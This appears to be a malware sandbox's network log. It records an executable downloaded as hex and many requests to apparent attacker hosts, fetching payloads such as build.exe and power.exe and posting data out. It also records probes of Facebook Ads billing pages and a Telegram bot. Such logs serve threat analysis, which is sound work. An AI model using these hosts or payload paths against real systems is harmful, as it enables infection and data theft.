00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 28 May 2023 08:43:34 GMTContent-Type: application/octet-streamContent-Length: 503808Last-Modified: Sun, 28 May 2023 08:40:03 GMTConnection: keep-aliveETag: "64731363-7b000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 c3 cb 70 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c4 05 00 00 24 26 00 00 00 00 00 59 4e 00 00 00 10 00 00 00 e0 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 57 ac 08 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b8 c8 05 00 64 00 00 00 00 40 2a 00 98 93 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 2b 00 dc 0d 00 00 20 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 31 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7a c3 05 00 00 10 00 00 00 c4 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 58 24 00 00 e0 05 00 00 1e 00 00 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 93 01 00 00 40 2a 00 00 94 01 00 00 e6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 35 00 00 00 e0 2b 00 00 36 00 00 00 7a 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedlab.com.eg
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedlab.com.eg
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedlab.com.eg
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedlab.com.eg
Source: global traffic	HTTP traffic detected: GET /ads/manager/account_settings/account_billing/ HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1Host: adsmanager.facebook.comUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: document
Source: global traffic	HTTP traffic detected: GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentHost: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /ads/manager/account_settings/account_billing/ HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1Host: adsmanager.facebook.comUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: document
Source: global traffic	HTTP traffic detected: GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentHost: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: shsplatform.co.uk
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /ads/manager/account_settings/account_billing/ HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1Host: adsmanager.facebook.comUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: document
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentHost: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /ads/manager/account_settings/account_billing/ HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1Host: adsmanager.facebook.comUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: document
Source: global traffic	HTTP traffic detected: GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentHost: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xlqkimn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mxltwpsqeo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: potunulit.org
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://csusaymthn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iviost.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wkqar.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 362Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dudvlk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: potunulit.org
Source: global traffic	HTTP traffic detected: GET /power.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qqiuoruppq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 278Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ybcrbcpvym.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: potunulit.org
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://negwl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sfmvlnbt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mbwheantep.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 121Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ajoab.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wjhcfonfk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ipame.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bxpeemr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 172Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kxvorcn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 278Host: potunulit.org
Source: global traffic	HTTP traffic detected: GET /power.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pppdb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://shwsp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 307Host: potunulit.org
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vyuaut.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://waofgmma.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 308Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gtnvc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lfcxfryvi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tcovw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dpvseurycv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 225Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oqqtqnj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 185Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ykcanuky.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: potunulit.org
Source: global traffic	HTTP traffic detected: GET /power.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wuwnf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yyabnclq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: potunulit.org
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----3100769260389402User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Content-Length: 131253Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dyrfgkau.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uytll.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cxhhlcn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 217Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://laydyxa.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 208Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oluqgvm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lugojs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 178Host: potunulit.org
Source: global traffic	HTTP traffic detected: GET /power.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
